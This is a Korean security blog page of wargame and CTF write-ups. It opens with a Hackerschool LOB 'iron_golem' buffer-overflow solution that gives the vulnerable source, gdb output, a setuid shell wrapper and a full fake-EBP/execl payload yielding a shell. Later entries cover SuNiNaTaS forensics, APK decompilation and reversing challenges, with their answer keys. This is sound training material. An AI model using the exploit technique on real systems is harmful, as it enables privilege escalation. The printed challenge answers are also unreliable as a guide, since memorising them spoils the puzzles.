반응형
반응형
반응형

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이


M4ndU




해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


256바이트 크기의 buffer에 값을 저장한다.

이 버퍼를 오버플로우해서 쉘을 따면 된다.


그런데 페도라 코어 3에는 메모리 보호기법들이 있다.


Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


이 것들을 고려해서 문제를 풀어야 한다.



hint에 fake ebp를 사용하라고 되어 있다.


execl함수를 사용하면 된다.

sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.

매개변수는 got영역을 이용한다.



gdb로 버퍼 구조를 살펴보자


[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.



*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다. 



낮은 주소


buffer[256]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조로 있을 것이다.

페이로드에 264바이트의 더미를 넣어주어야 한다.



이제 got주소를 구해보자


[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1


got 주소는 0x08049618이다.

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x007194f8      0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>:   0x00000001


got의 시작주소가 0x00000001를 가리키고 있다.


값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.

그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다. 

그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.



[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}



권한 상승후 쉘을 띄우는 코드를 짠다.

그 후 \x01이름으로 컴파일 한다.


[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c



이제 execl함수의 주소를 구해보자


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>:       push   ebp
0x7a5721 <execl+1>:     mov    ebp,esp
0x7a5723 <execl+3>:     lea    ecx,[ebp+16]
0x7a5726 <execl+6>:     push   edi
0x7a5727 <execl+7>:     push   esi
0x7a5728 <execl+8>:     push   ebx
0x7a5729 <execl+9>:     sub    esp,0x1038
0x7a572f <execl+15>:    mov    eax,DWORD PTR [ebp+12]



execl의 주소인 0x7a5720이 ret에 들어간다. 

그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.


이제 정확한 페이로드를 구성해 보자


dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

 


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$



클리어!


반응형
반응형

MISC 50

REVERSING 50

WEB 50

FORENSICS 50 100 150

[2018] 제16회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.zip
2.07MB

pw:1234

반응형

'CTF Write Up' 카테고리의 다른 글

NeverLAN CTF 2019 write up  (0) 2019.02.04
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
반응형

SuNiNaTaS의 30번문제 풀이입니다. 


[FORENSIC]


해커가 김장군의 PC에  침투한 흔적을 발견하였다.

사고 직후 김장군의 PC에서 획득한 메모리 덤프를 제공받은 당신은 해커가 한 행동을 밝혀내야한다.


1. 김장군 PC의 IP 주소는?

2. 해커가 열람한 기밀문서의 파일명은?

3. 기밀문서의 주요 내용은? 내용속에 "Key"가 있다.


인증키 형식 : lowercase(MD5(1번답+2번답+3번키))



이번에는 1GB 짜리 메모리 덤프 파일이다.


메모리 분석 도구인 Volatility를 사용했습니다.


Volatility Linux 설치 방법

git clone https://github.com/volatilityfoundation/volatility.git


cd volatility


python setup.py build


sudo python setup.py install





편의를 위해서 MemoryDump(SuNiNaTaS) 파일명을 Mem으로 변경하고 풀었습니다.



vol.py -f Mem imageinfo


명령어로 시스템 정보를 확인했다. 이 정보를 확인해야 플러그인 사용이 가능하기 때문이다.




ip 주소를 알아야 한다.

netscan을 이용해서 사용중인 ip와 port확인이 가능하다.


vol.py -f Mem --profile=Win7SP1x86 netscan





Local Address부분을 확인해 보면 ip주소가 192.168.197.138임을 확인할 수 있다.




문서를 열람했다면 그 문서를 읽는 프로세스가 실행되었다는 것이다.

pstree를 통해 프로세스들을 확인할 수 있다.


vol.py -f Mem --profile=Win7SP1x86 pstree




가장 의심해볼만한 것은 cmd.exe에서 실행된 notepad.exe인 것 같다.

정확히 cmd에 어떤 명령을 내렸는지는 cmdscan을 통해 알 수 있다.

vol.py -f Mem --profile=Win7SP1x86 cmdscan



C:\Users\training\Desktop\SecreetDocumen7.txt 파일을 연 것으로 보인다.

파일명 : SecreetDocumen7.txt



이제 이 파일의 내용을 확인해야 한다.


R-Studio라는 데이터 복구 프로그램을 통해 해당 파일내용확인이 가능하다.



해당 프로그램을 설치할 때, RStuido랑 헷갈리면 안된다..


다운로드 링크 : https://www.r-studio.com/ko/




R-Stuido를 실행하고 메모리 덤프 파일을 불러와 스캔한 뒤, 해당 파일 경로로 이동해서 파일 내용을 확인했다.



key : 4rmy_4irforce_N4vy




MD5(192.168.197.138SecreetDocumen7.txt4rmy_4irforce_N4vy)


authkey : c152e3fb5a6882563231b00f21a8ed5f


반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 32번] 풀이  (0) 2018.09.04
SuNiNaTaS [FORENSIC 31번] 풀이  (0) 2018.09.03
SuNiNaTaS [FORENSIC 29번] 풀이  (3) 2018.08.08
SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
반응형

SuNiNaTaS의 29번문제 풀이입니다. 


[FORENSIC]


유준혁은 PC가 고장나서 형 유성준에게 PC를 고쳐 달라고 했다.

그런데, 유성준은 동생의 PC를 고치면서 몇 가지 장난을 했다.

당신은 이 PC를 정상으로 돌려 놓아야 한다.


1. 웹 서핑은 잘 되는데, 네이버에만 들어가면 사이버 경찰청 차단 화면으로 넘어간다. 원인을 찾으면 Key가 보인다.

2. 유성준이 설치 해 놓은 키로거의 절대경로 및 파일명은?(모두 소문자)

- ex) c:\windows\notepad.exe

3. 키로거가 다운로드 된 시간은?

- ex) 2016-05-27_22:00:00 (yyyy-mm-dd_hh:mm:ss)

4. 키로거를 통해서 알아내고자 했던 내용은 무엇인가? 내용을 찾으면 Key가 보인다.


인증키 형식 : lowercase(MD5(1번키+2번답+3번답+4번키))



다운로드 링크로 들어가면 무려 3.4GB짜리 파일이 있다. 다운받자



파일 시그니처를 보니 EGG파일이다. egg로 열자.




열어보니 vm파일들이 있다.

압축을 풀고 vmx확장자를 가진 파일을 실행하면 vmware가 실행되며 windows7 이 부팅된다.



띠용 빨리 cmd켜서 shutdown /a 명령어로 재부팅을 중단했다.




1. 웹 서핑은 잘 되는데, 네이버에만 들어가면 사이버 경찰청 차단 화면으로 넘어간다. 원인을 찾으면 Key가 보인다.


아마 hosts파일이 변조된 것 같다. hosts파일 경로는 C:\Windows\System32\drivers\etc\hosts 이다.


음..? hosts파일이 원래 txt파일이었나?



아니다.

폴더 옵션에서 숨김파일 표시, 확장자명 표시로 변경해 주었다.




나왔다.

what_the_he11_1s_keey



2. 유성준이 설치 해 놓은 키로거의 절대경로 및 파일명은?


키로거를 찾아야 한다.

키로거를 설치한 흔적이 최근 위치를 보면 알 수 있을 것이다.





오 여기 관련 이미지파일들이 있다. 아마 키로거 프로그램이겠지

이미지에 나온 경로를 따라가 보자.



여기 찾았다.

c:\v196vv8\v1tr0.exe




3. 키로거가 다운로드 된 시간은?



IE의 방문기록을 확인하면 될 것 같다.


BrowsingHistoryView라는 프로그램을 사용했다.

검색기록 보는 프로그램은 널리고 널렸다...



찾았다.

2016-05-24_04:25:06




4. 키로거를 통해서 알아내고자 했던 내용은 무엇인가? 내용을 찾으면 Key가 보인다.



키로그가 기록된 파일을 찾으면 된다.



이것저것 열어 보다가 찾았다.

z1.dat파일에 있었다.


blackkey is a Good man



what_the_he11_1s_keeyc:\v196vv8\v1tvr0.exe2016-05-24_04:25:06blackkey is a Good man



클리어!



반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 31번] 풀이  (0) 2018.09.03
SuNiNaTaS [FORENSIC 30번] 풀이  (0) 2018.08.08
SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
반응형

SuNiNaTaS의 28번문제 풀이입니다. 


[FORENSIC]






암호가 걸린 압축파일이 있다.

근데 문제내용을 보았을 때 "brute force가 필요없다","암호가 있기나 한건가!"를 보면 암호는 없는 것 같다.




근데 비밀번호를 입력하라고 창이 뜬다.


아마 암호가 걸려있다 라고 표시해주는 값이 있기 때문일 것이다.

그 값을 암호가 안걸려 있다 라고 변경해주면 압축이 풀릴 것이다.




이 부분이 암호화여부를 나타낸다고 한다.

hex로 09 08로 되어있는데 09 08을 모두 찾아서 00 00으로 바꾸었다.







안에서 나온 키를 base64로 디코딩하면 된다.




반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 30번] 풀이  (0) 2018.08.08
SuNiNaTaS [FORENSIC 29번] 풀이  (3) 2018.08.08
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 25번] 풀이  (0) 2018.08.06
반응형

SuNiNaTaS의 27번문제 풀이입니다. 


[SYSTEM]



이 내용을 복사해서



나온 hex값을 복사해서




올리디버거에 붙여넣는다. 끝부분을 확인해서 전체가 복사되었는지 확인한 후

수정된 코드 바로밑에 breakpoint를 걸고 처음부분에 new origin here로 eip를 옮기고 실행한다.


그러면 스택에 키가 있다.



key_is_accbggj



반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 29번] 풀이  (3) 2018.08.08
SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 25번] 풀이  (0) 2018.08.06
SuNiNaTaS [SYSTEM 24번] 풀이  (0) 2018.08.05
반응형

KYSIS CTF 2018 Write-Up


M4ndU



작성일 : 2018.08.07 18:07

공개일 : 2018.08.14 17:11

(7일이나 지났는데 올려도 되겠지...)




WEB - read flag




문제 사이트에 들어가면 alert()가 무한루프 돌아서 아무것도 안된다.



그냥 크롬 설정 - 콘텐츠 설정 - 자바스크립트 에서 차단하고 들어간뒤


페이지 소스보기로 플래그를 확인할 수 있다.








REVERSING - Simple Ransomware




파일이 두개 주어진다.

하나는 플래그가 암호화된 파일이고, 다른 하나는 복호화를 해주는 elf파일이다.




아이다 64비트로 열어서 보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed __int64 __fastcall main(int a1, char **a2, char **a3)
{
  signed __int64 result; // rax@2
  const char *v4; // rdi@3
 
  if ( a1 == 2 )
  {
    v4 = a2[1];
    if ( !strcmp(v4, "start") )
    {
      sub_400C2F();
      s = sub_400BA0();
      v4 = sub_400B54();
      if ( (unsigned int)sub_400B12((const char *)s) )
        sub_400C66(s);
      else
        sub_400C66(s);
    }
    result = 0LL;
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  return result;
}
cs


메인함수다.


  if ( a1 == 2 )

  {

    v4 = a2[1];

    if ( !strcmp(v4, "start") )


인자값으로 start를 주어야 한다.


 sub_400C2F();


1
2
3
4
5
6
7
8
9
int sub_400C2F()
{
  char *v0; // rax@1
 
  v0 = sub_400BFA();
  printf("welcome %s\n", v0);
  puts("I want to Decrypt File!!!!");
  return puts("Maybe you find simple key.. file will be decrypt..");
}
cs


key를 찾으라고 한다.



s = sub_400BA0();


1
2
3
4
5
6
7
8
void *sub_400BA0()
{
  s = malloc(0xAuLL);
  memset(s, 0, 0xAuLL);
  printf("what is key ? ", 0LL);
  gets(s);
  return s;
}
cs


key값을 입력받아서 s에 저장한다.



v4 = sub_400B54();

이 코드는 왜 있는지 잘 모르겠다.



      if ( (unsigned int)sub_400B12((const char *)s) )

        sub_400C66(s);

      else

        sub_400C66(s);


if가 True이든 False이든 같은 작업을 하는데, sub_400C66()함수는 암호화된 파일을 복호화 하는 함수이고

sub_400B12()함수에서 입력했던 key값을 비교한다.


1
2
3
4
5
6
7
__int64 __fastcall sub_400B12(const char *a1)
{
  const char *v1; // rax@1
 
  LODWORD(v1) = sub_400AA5();
  return strcmp(v1, a1) == 0;
}
cs


gdb로 열어서 strcmp에 breakpoint 걸고 v1의 값을 확인해보면 key값을 얻을 수 있다.



해당 부분은 0x400B3D이고 인자의 주소가 각각 rsi, rdi에 저장되어 있다.


mandu@mandu-VirtualBox:~/바탕화면$ gdb -q Let_Decrypt

Reading symbols from Let_Decrypt...(no debugging symbols found)...done.

(gdb) b * 0x400B3D

Breakpoint 1 at 0x400b3d

(gdb) r start

Starting program: /home/mandu/바탕화면/Let_Decrypt start

welcome mandu

I want to Decrypt File!!!!

Maybe you find simple key.. file will be decrypt..

what is key ? b


Breakpoint 1, 0x0000000000400b3d in ?? ()

(gdb) info reg rsi

rsi            0x604620 6309408

(gdb) info reg rdi

rdi            0x604640 6309440

(gdb) x/s 0x604640

0x604640: "OPENTHEDOOR"

(gdb) x/s 0x604620

0x604620: "b"


키를 구했다.


mandu@mandu-VirtualBox:~/바탕화면$ ./Let_Decrypt start
welcome mandu
I want to Decrypt File!!!!
Maybe you find simple key.. file will be decrypt..
what is key ? OPENTHEDOOR
INPUT : decrypt file name : flag.KYSIS

INPUT new file : flag 


Success Decrypt Good Luck!
mandu@mandu-VirtualBox:~/바탕화면$ cat flag
Hello flag is KYSIS{1T's_S1mpl3_R4nsomw4re}




NETWORK - Net -- Work


pcap파일이 주어지는데 여기서 추출가능한 파일은 1개의 jpg파일과 7개의 cab파일이 있다.


처음에 cab파일들을 분석하는 삽질을 하다가 많은 분들이 푸신걸 보고 이 루트가 아니구나 판단. (애초에 60점짜리..)


jpg파일에서 KYSIS를 검색하니 플래그가 있었다..







FORENSIC - Oriental medicine




.001파일이 주어진다.


.001파일은 AccessData FTK Imager로 열 수 있다.



힌트를 보면 찾아야할 파일은 jpeg파일이다.


jpeg파일 시그니처는 이렇다.



FF D8 FF E0로는 나오지 않아서 4A 46 49 46으로 검색했다.




jpeg파일의 footer 시그니처는 FF D9이므로 FF D9를 찾아서 HxD로 복사했다.


그렇지만 시그니처를 제대로 보면 FF FF FF E0로 되어있다. 두번째 FF 를 D8로 바꾸면 파일이 제대로 열린다.




맥 짚는중...ㅋㅋ


근데 플래그 인증이 안된다...


왜 그런가 보니


위에 내용이 더 있었다........

이 값들을 추가해주고 md5 돌려서 플래그 인증했다.






대회 종료후 풀이보고 다시 푼 문제들의 풀이들:

반응형

'CTF Write Up' 카테고리의 다른 글

2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
반응형

SuNiNaTaS의 26번문제 풀이입니다. 


[FORENSIC]


This challenge is to recover the plaintext from the following ciphertext using frequency analysis:

 

szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni



Note that we have omitted the blank letters and punctuation marks of the plaintext.


빈도분석(frequency analysis)를 통해 이 암호문을 복호화해야 한다.

띄워쓰기랑 문장부호가 모두 빠져있어서 직접 풀기엔 많은 노가다가 필요할 것 같다..



이를 자동으로 풀어주는 온라인 툴이 있다.






authkey ; kimyuna

반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 28번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 25번] 풀이  (0) 2018.08.06
SuNiNaTaS [SYSTEM 24번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 23번] 풀이  (0) 2018.08.05
반응형

SuNiNaTaS의 25번문제 풀이입니다. 


[SYSTEM]



make버튼을 누르면 랜덤으로 4자리 정수가 표시된다.

나는 1925가 나왔다.



zip파일이다.




아 apk파일이다.

이번에도 24번문제와 같이 dex파일을 디컴파일 했다.


d2j-dex2jar.bat class.dex



jd-gui


Uri.parse("http://www.suninatas.com/Part_one/web25/chk_key.asp?id=" + paramAnonymousView.toString() + "&pw=" + ((Editable)localObject).toString() + "&Name=" + str1.toString() + "&Number=" + str2.toString()));


이번에도 값을 웹으로 넘긴다.

id, pw, Name, Number가 필요하다.


id와 pw는 suninatas 계정 아이디와 패스워드 일 것이고


Name과 Number만 구하면 되는데 각각 str1, str2변수에 그 값이 담긴다.


Number하니까 생각났는데.. 처음에 나온 LAST NUMBER가 이 Number이지 않을까...



Name은 contacts함수에서 str1이 SuNiNaTaS과 같아야 함을 알 수 있다.


if (str1.equals("SuNiNaTaS"))



url을 완성하고 burp suite를 이용해서 보낼 때 user agent를 안드로이드로 바꿔서 보냈다.

user-agent는 구글링하면 바로 찾을 수 있다.


(앱을 스마트폰에 설치하려고 하면 오류나서 설치할 수가 없다. 오류 수정하느니 user-agent값 바꾸는게 더 빠를듯 싶다.)


클리어


반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 24번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 23번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 22번] 풀이  (0) 2018.08.03
반응형

SuNiNaTaS의 24번문제 풀이입니다. 


[SYSTEM]




파일이 하나 있다.



압축파일이다.



apk파일 이었나보다.


dex2jar 을 이용해서 dex파일을 jar파일로 디컴파일 해주어야 한다.


dex2jar은 아래 링크에서 다운받을 수 있다.



classes.dex파일을 dex2jar폴더에 옮겨두고 해당 경로에서

cmd에 다음 명령어를 입력해 준다:

윈도우는 .bat을, 그 외에는 sh파일을 사용해주면 된다.


d2j-dex2jar.bat classes.dex


그럼 jar파일이 하나 생긴다.


jar내부의 class 파일들을 java코드로 읽을 수 있도록 해야한다.


JD-GUI 라는 프로그램을 통해 class 파일을 java코드로 볼 수 있다.




코드를 보자


if (paramAnonymousView.toString().equals("WE1C0mEToandr01d".toString()))

        {

          paramAnonymousView = new Intent("android.intent.action.VIEW", Uri.parse("http://www.suninatas.com/Part_one/web24/chk_key.asp?id=" + ((Editable)localObject1).toString() + "&pw=" + ((Editable)localObject2).toString() + "&key=" + paramAnonymousView.toString()));



어떤 문자열이 WE1C0mEToandr01d와 같은지 비교를 하고 있고


맞는 경우 웹에 접속해 값을 파싱해 오는 것으로 보인다.


http://www.suninatas.com/Part_one/web24/chk_key.asp?id=&pw=&key=


id, pw, key값을 받는다


id와 pw는 suninatas계정의 id와 pw인것 같고, key는 위에서 비교한 값인 WE1C0mEToandr01d인 것 같다.


....

분명 올바르게 입력했는데 틀렸다고 한다.



다른 분들의 풀이를 보니 폰에 apk파일을 설치해서 해야 authkey가 정상적으로 날라온다고 한다.


처음에 받은 파일의 확장자 명을 apk로 바꾸고 폰에 설치했다.



id,pw,key를 입력하니 웹페이지로 이동되어 authkey를 확인할 수 있었다.




반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 25번] 풀이  (0) 2018.08.06
SuNiNaTaS [WEB 23번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 22번] 풀이  (0) 2018.08.03
SuNiNaTaS [FORENSIC 21번] 풀이  (0) 2018.08.03

+ Recent posts